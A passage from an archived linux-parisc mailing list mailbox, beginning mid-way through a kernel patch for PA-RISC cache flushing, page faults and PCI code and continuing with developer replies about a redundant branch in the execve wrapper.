 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
-	pitlb		(%sr4,%r28)
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r28)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r28)
+	tlb_unlock      %r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -727,8 +961,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%sr4,%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r25)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r25)
+	tlb_unlock      %r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pitlb		(%sr4,%r25)
+	nop
 	.exit
 
 	.procend
@@ -777,7 +1020,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -817,7 +1060,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index ceec85d..6795dc6 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -157,5 +157,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..8c6b6b6 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}
@@ -309,7 +312,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 		cregs->ksp = (unsigned long)stack
 			+ (pregs->gr[21] & (THREAD_SIZE - 1));
 		cregs->gr[30] = usp;
-		if (p->personality == PER_HPUX) {
+		if (personality(p->personality) == PER_HPUX) {
 #ifdef CONFIG_HPUX
 			cregs->kpc = (unsigned long) &hpux_child_return;
 #else
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 594459b..56e0087 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -308,7 +308,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..b3032f9 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
-	if (flags & MAP_FIXED)
+	if (flags & MAP_FIXED) {
+		if ((flags & MAP_SHARED) &&
+		    (addr - (pgoff << PAGE_SHIFT)) & (SHMLBA - 1))
+			return -EINVAL;
 		return addr;
+	}
 	if (!addr)
 		addr = TASK_UNMAPPED_BASE;
 
@@ -225,12 +226,12 @@ long parisc_personality(unsigned long personality)
 	long err;
 
 	if (personality(current->personality) == PER_LINUX32
-	    && personality == PER_LINUX)
-		personality = PER_LINUX32;
+	    && personality(personality) == PER_LINUX)
+		personality = (personality & ~PER_MASK) | PER_LINUX32;
 
 	err = sys_personality(personality);
-	if (err == PER_LINUX32)
-		err = PER_LINUX;
+	if (personality(err) == PER_LINUX32)
+		err = (err & ~PER_MASK) | PER_LINUX;
 
 	return err;
 }
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 82a52b2..837c602 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -180,9 +180,10 @@ linux_gateway_entry:
 
 	/* Are we being ptraced? */
 	mfctl	%cr30, %r1
-	LDREG	TI_TASK(%r1),%r1
-	ldw	TASK_PTRACE(%r1), %r1
-	bb,<,n	%r1,31,.Ltracesys
+	LDREG   TI_FLAGS(%r1),%r1
+	ldi	(_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP | _TIF_BLOCKSTEP), %r19
+	and,COND(=) %r19, %r1, %r0
+	b,n	.Ltracesys
 	
 	/* Note!  We cannot use the syscall table that is mapped
 	nearby since the gateway page is mapped execute-only. */
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 70e105d..4a24ba7 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -77,7 +77,7 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 
 	cycles_elapsed = now - next_tick;
 
-	if ((cycles_elapsed >> 6) < cpt) {
+	if ((cycles_elapsed >> 7) < cpt) {
 		/* use "cheap" math (add/subtract) instead
 		 * of the more expensive div/mul method
 		 */
diff --git a/arch/parisc/math-emu/cnv_float.h b/arch/parisc/math-emu/cnv_float.h
index 9071e09..37299c7 100644
--- a/arch/parisc/math-emu/cnv_float.h
+++ b/arch/parisc/math-emu/cnv_float.h
@@ -347,16 +347,15 @@
     Sgl_isinexact_to_fix(sgl_value,exponent)
 
 #define Duint_from_sgl_mantissa(sgl_value,exponent,dresultA,dresultB)	\
-  {Sall(sgl_value) <<= SGL_EXP_LENGTH;  /*  left-justify  */		\
+  {unsigned int val = Sall(sgl_value) << SGL_EXP_LENGTH;		\
     if (exponent <= 31) {						\
     	Dintp1(dresultA) = 0;						\
-    	Dintp2(dresultB) = (unsigned)Sall(sgl_value) >> (31 - exponent); \
+    	Dintp2(dresultB) = val >> (31 - exponent);			\
     }									\
     else {								\
-    	Dintp1(dresultA) = Sall(sgl_value) >> (63 - exponent);		\
-    	Dintp2(dresultB) = Sall(sgl_value) << (exponent - 31);		\
+    	Dintp1(dresultA) = val >> (63 - exponent);			\
+    	Dintp2(dresultB) = exponent <= 62 ? val << (exponent - 31) : 0;	\
     }									\
-    Sall(sgl_value) >>= SGL_EXP_LENGTH;  /* return to original */	\
   }
 
 #define Duint_setzero(dresultA,dresultB) 	\
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 18162ce..524bf5a 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -175,10 +175,12 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct mm_struct *mm = tsk->mm;
 	unsigned long acc_type;
 	int fault;
+	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (in_atomic() || !mm)
 		goto no_context;
 
+retry:
 	down_read(&mm->mmap_sem);
 	vma = find_vma_prev(mm, address, &prev_vma);
 	if (!vma || address < vma->vm_start)
@@ -201,7 +203,12 @@ good_area:
 	 * fault.
 	 */
 
-	fault = handle_mm_fault(mm, vma, address, (acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0);
+	fault = handle_mm_fault(mm, vma, address,
+		flags | ((acc_type & VM_WRITE) ? FAULT_FLAG_WRITE : 0));
+
+	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
+		return;
+
 	if (unlikely(fault & VM_FAULT_ERROR)) {
 		/*
 		 * We hit a shared mapping outside of the file, or some
@@ -214,10 +221,22 @@ good_area:
 			goto bad_area;
 		BUG();
 	}
-	if (fault & VM_FAULT_MAJOR)
-		current->maj_flt++;
-	else
-		current->min_flt++;
+	if (flags & FAULT_FLAG_ALLOW_RETRY) {
+		if (fault & VM_FAULT_MAJOR)
+			current->maj_flt++;
+		else
+			current->min_flt++;
+		if (fault & VM_FAULT_RETRY) {
+			flags &= ~FAULT_FLAG_ALLOW_RETRY;
+
+			/* No need to up_read(&mm->mmap_sem) as we would
+			 * have already released it in __lock_page_or_retry
+			 * in mm/filemap.c.
+			 */
+
+			goto retry;
+		}
+	}
 	up_read(&mm->mmap_sem);
 	return;
 
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 432d4bb..d6c3472 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -477,14 +477,12 @@ dino_card_setup(struct pci_bus *bus, void __iomem *base_addr)
 	if (ccio_allocate_resource(dino_dev->hba.dev, res, _8MB,
 				F_EXTEND(0xf0000000UL) | _8MB,
 				F_EXTEND(0xffffffffUL) &~ _8MB, _8MB) < 0) {
-		struct list_head *ln, *tmp_ln;
+		struct pci_dev *dev, *tmp;
 
 		printk(KERN_ERR "Dino: cannot attach bus %s\n",
 		       dev_name(bus->bridge));
 		/* kill the bus, we can't do anything with it */
-		list_for_each_safe(ln, tmp_ln, &bus->devices) {
-			struct pci_dev *dev = pci_dev_b(ln);
-
+		list_for_each_entry_safe(dev, tmp, &bus->devices, bus_list) {
 			list_del(&dev->bus_list);
 		}
 			
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 052fa23..5208d2f 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -629,7 +629,7 @@ truncate_pat_collision(struct resource *root, struct resource *new)
 static void
 lba_fixup_bus(struct pci_bus *bus)
 {
-	struct list_head *ln;
+	struct pci_dev *dev;
 #ifdef FBB_SUPPORT
 	u16 status;
 #endif
@@ -710,9 +710,8 @@ lba_fixup_bus(struct pci_bus *bus)
 
 	}
 
-	list_for_each(ln, &bus->devices) {
+	list_for_each_entry(dev, &bus->devices, bus_list) {
 		int i;
-		struct pci_dev *dev = pci_dev_b(ln);
 
 		DBG("lba_fixup_bus() %s\n", pci_name(dev));
 
@@ -770,7 +769,7 @@ lba_fixup_bus(struct pci_bus *bus)
 	}
 
 	/* Lastly enable FBB/PERR/SERR on all devices too */
-	list_for_each(ln, &bus->devices) {
+	list_for_each_entry(dev, &bus->devices, bus_list) {
 		(void) pci_read_config_word(dev, PCI_COMMAND, &status);
 		status |= PCI_COMMAND_PARITY | PCI_COMMAND_SERR | fbb_enable;
 		(void) pci_write_config_word(dev, PCI_COMMAND, status);
diff --git a/kernel/irq/chip.c b/kernel/irq/chip.c
index eebd6d5..078a593 100644
--- a/kernel/irq/chip.c
+++ b/kernel/irq/chip.c
@@ -581,6 +581,7 @@ out_eoi:
 void
 handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 {
+	struct irqaction *action;
 	struct irq_chip *chip = irq_desc_get_chip(desc);
 
 	kstat_incr_irqs_this_cpu(irq, desc);
@@ -588,7 +589,9 @@ handle_percpu_irq(unsigned int irq, struct irq_desc *desc)
 	if (chip->irq_ack)
 		chip->irq_ack(&desc->irq_data);
 
-	handle_irq_event_percpu(desc, desc->action);
+	action = desc->action;
+	if (action)
+		handle_irq_event_percpu(desc, action);
 
 	if (chip->irq_eoi)
 		chip->irq_eoi(&desc->irq_data);
diff --git a/kernel/softirq.c b/kernel/softirq.c
index 671f959..315ec22 100644
--- a/kernel/softirq.c
+++ b/kernel/softirq.c
@@ -250,7 +250,7 @@ restart:
 		}
 		h++;
 		pending >>= 1;
-	} while (pending);
+	} while (pending && h >= (struct softirq_action *)0x1000);
 
 	local_irq_disable();
 

--Apple-Mail-1--871605220--

From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc: orphaned asm/compat_signal.h file?
Date: Sat, 29 Sep 2012 22:36:26 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <CAMuHMdUWOya35KFAVDkHaRvBi5f4FiOA2DN7G+q_bmi9=dtK2Q@mail.gmail.com>
References: <CAK1hOcMongS_p5+oiaqE85tEVF8mv+SCm3yb-N=Zqz4Xuz_+WA@mail.gmail.com>
	<BLU0-SMTP54F29C73A16BAB0885137A979D0@phx.gbl>
	<1348839817.2411.19.camel@dabdike.int.hansenpartnership.com>
	<BLU0-SMTP777C44DD0217ABB38501DE97810@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1348950991 3616 80.91.229.3 (29 Sep 2012 20:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Sep 2012 20:36:31 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	Denys Vlasenko <vda.linux@googlemail.com>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 29 22:36:35 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TI3m6-0001VF-VE
	for glpp-linux-parisc@plane.gmane.org; Sat, 29 Sep 2012 22:36:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751528Ab2I2Ug3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Sep 2012 16:36:29 -0400
Original-Received: from mail-vb0-f46.google.com ([209.85.212.46]:33338 "EHLO
	mail-vb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751478Ab2I2Ug1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Sep 2012 16:36:27 -0400
Original-Received: by vbbff1 with SMTP id ff1so4261496vbb.19
        for <multiple recipients>; Sat, 29 Sep 2012 13:36:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=EhWUbl3W+UM1OZ2I+2CSexxoaZekYcioRxfNkGBYVZE=;
        b=hH2VVP+0yquCeG+BSTE0wlA/su0DJaJ598oNhc50S/utercjWtInol/tlcoMYchoCB
         VoloHTVsMULJRlYySGAxrUgfwD2bHkZWTA/PFOYZDMoGUCEdT2UheUfPUWuwJZHlIn9j
         DHQ53X/gVy22pFVZwnR0UeF33QPOsPaMI4r9mXyFIz1AppZP9VVdQS92zlB7J3ShM8qu
         AQqclxtlvaNsmgYs08jvZwob+AamjAU554ZFpBReg8vWSF8WeQqU2frj1rmsAIARhH4X
         j2zxh5Ibv3v8Eoj+rpWr/AU8fuYE8BWwkNOUaEjxSsf7/U8TgNmeBlqZufQMxKBefhhs
         h7zA==
Original-Received: by 10.52.27.133 with SMTP id t5mr4934537vdg.111.1348950986417; Sat,
 29 Sep 2012 13:36:26 -0700 (PDT)
Original-Received: by 10.220.50.135 with HTTP; Sat, 29 Sep 2012 13:36:26 -0700 (PDT)
In-Reply-To: <BLU0-SMTP777C44DD0217ABB38501DE97810@phx.gbl>
X-Google-Sender-Auth: AJHBRtmKUuT70KW4RwmgfvEu_t0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4593 gmane.linux.kernel:1367298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4593>

On Sat, Sep 29, 2012 at 10:24 PM, John David Anglin
<dave.anglin@bell.net> wrote:
> Had to remove the kvm_para.h hunk because I hit this issue:
> https://lkml.org/lkml/2012/6/13/226
> Assume this is now fixed.

Unfortunately not :-(

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Thu, 04 Oct 2012 11:02:16 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <1349344936.2706.10.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	 <20121004051359.GA24664@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349388701 14665 80.91.229.3 (4 Oct 2012 22:11:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2012 22:11:41 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 00:11:44 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TJtVz-0001w8-Ol
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 00:03:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752107Ab2JDKCU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Oct 2012 06:02:20 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48182 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751925Ab2JDKCT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Oct 2012 06:02:19 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 349D68EE0E6;
	Thu,  4 Oct 2012 03:02:19 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4N3m23Ip_qFf; Thu,  4 Oct 2012 03:02:19 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 55C6E8EE0CE;
	Thu,  4 Oct 2012 03:02:18 -0700 (PDT)
In-Reply-To: <20121004051359.GA24664@ZenIV.linux.org.uk>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4594
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4594>

[cc: parisc list]
On Thu, 2012-10-04 at 06:13 +0100, Al Viro wrote:
> On Thu, Oct 04, 2012 at 05:51:50AM +0100, Al Viro wrote:
> > I'm really confused by that one:
> >         /* If exec succeeded we need to load the args */
> > 
> >         ldo -1024(%r0),%r1
> >         cmpb,>>= %r28,%r1,error_\execve
> >         copy %r2,%r19
> > 
> > error_\execve:
> >         bv %r0(%r19)
> > 
> > Just what is going on there?  That cmpb is non-nullifying, right?  So this
> > assignment to %r2 happens whether condition is true or false.  And AFAICS
> > IAOQ_Next is set to error_\execve in both cases.  So what the hell
> > is that comparison for (and the comment about)?  Why not simply return
> > via bv %r0(%r2) and be done with that?  It had been done that way since
> > the initial parisc merge circa 2.4.0-test*...
> 
> FWIW, I suspect that hpux_execve_wrapper might have something to do with it -
> there we have
>         comb,>>= %r28,%r1,exec_error
>         copy %r2,%r19
>         ldo     -TASK_SZ_ALGN-64(%r30),%r1         ;! get task ptr
>         LDREG   TASK_PT_GR26(%r1),%r26
>         LDREG   TASK_PT_GR25(%r1),%r25
>         LDREG   TASK_PT_GR24(%r1),%r24
>         LDREG   TASK_PT_GR23(%r1),%r23
>         copy %r0,%r2    /* Flag to syscall_exit not to clear args */
> 
> exec_error:
> instead and that at least makes some sense (even though I don't see
> why syscall_exit would fail to restore them or would check %r2).  Is
> the execve_wrapper a rudiment of something similar?  It's beyond the
> history observable in the mainline, unfortunately... ;-/

It's plausible.  I just verified the theory that the branch is redundant
by successfully booting with this patch applied.

James

---

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 18670a0..d1da93f 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -1893,15 +1893,7 @@ ENDPROC(sys_vfork_wrapper)
 
 	ldo -FRAME_SIZE(%r30),%r30
 	LDREG -RP_OFFSET(%r30),%r2
-
-	/* If exec succeeded we need to load the args */
-
-	ldo -1024(%r0),%r1
-	cmpb,>>= %r28,%r1,error_\execve
-	copy %r2,%r19

From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Thu, 04 Oct 2012 10:30:19 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <1349343019.2706.3.camel@dabdike.int.hansenpartnership.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349389649 29069 80.91.229.3 (4 Oct 2012 22:27:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Oct 2012 22:27:29 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 05 00:27:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TJtVa-0001w8-Rd
	for glpp-linux-parisc@plane.gmane.org; Fri, 05 Oct 2012 00:03:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755227Ab2JDJaZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Oct 2012 05:30:25 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48147 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755224Ab2JDJaY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Oct 2012 05:30:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 708F48EE0E6;
	Thu,  4 Oct 2012 02:30:23 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4GXHZhr-S9ca; Thu,  4 Oct 2012 02:30:23 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6BBEB8EE0CE;
	Thu,  4 Oct 2012 02:30:22 -0700 (PDT)
In-Reply-To: <20121004045150.GH23473@ZenIV.linux.org.uk>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4595
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4595>

[parisc list added just in case I get this wrong]
On Thu, 2012-10-04 at 05:51 +0100, Al Viro wrote:
> I'm really confused by that one:
>         /* If exec succeeded we need to load the args */
> 
>         ldo -1024(%r0),%r1
>         cmpb,>>= %r28,%r1,error_\execve
>         copy %r2,%r19
> 
> error_\execve:
>         bv %r0(%r19)
> 
> Just what is going on there?  That cmpb is non-nullifying, right? 

Right, it would have to have a ,n to nullify the following instruction,
so the copy is executed in both branches.

The compare and branch clearly has no effect, so it's a vestige of
something, I think.

>  So this
> assignment to %r2 happens whether condition is true or false.  And AFAICS
> IAOQ_Next is set to error_\execve in both cases.  So what the hell
> is that comparison for (and the comment about)?  Why not simply return
> via bv %r0(%r2) and be done with that?  It had been done that way since
> the initial parisc merge circa 2.4.0-test*...

Right, but no idea what it's a vestige of.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: what's parisc execve_wrapper doing in the end?
Date: Thu, 4 Oct 2012 09:30:16 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <CAE2sS1jrFOgwt3xRsnDv5uQ7kYx16vy+nEeK5oGpD3Yd-7fVfQ@mail.gmail.com>
References: <20121004045150.GH23473@ZenIV.linux.org.uk>
	<20121004051359.GA24664@ZenIV.linux.org.uk>
	<1349344936.2706.10.camel@dabdike.int.hansenpartnership.com>
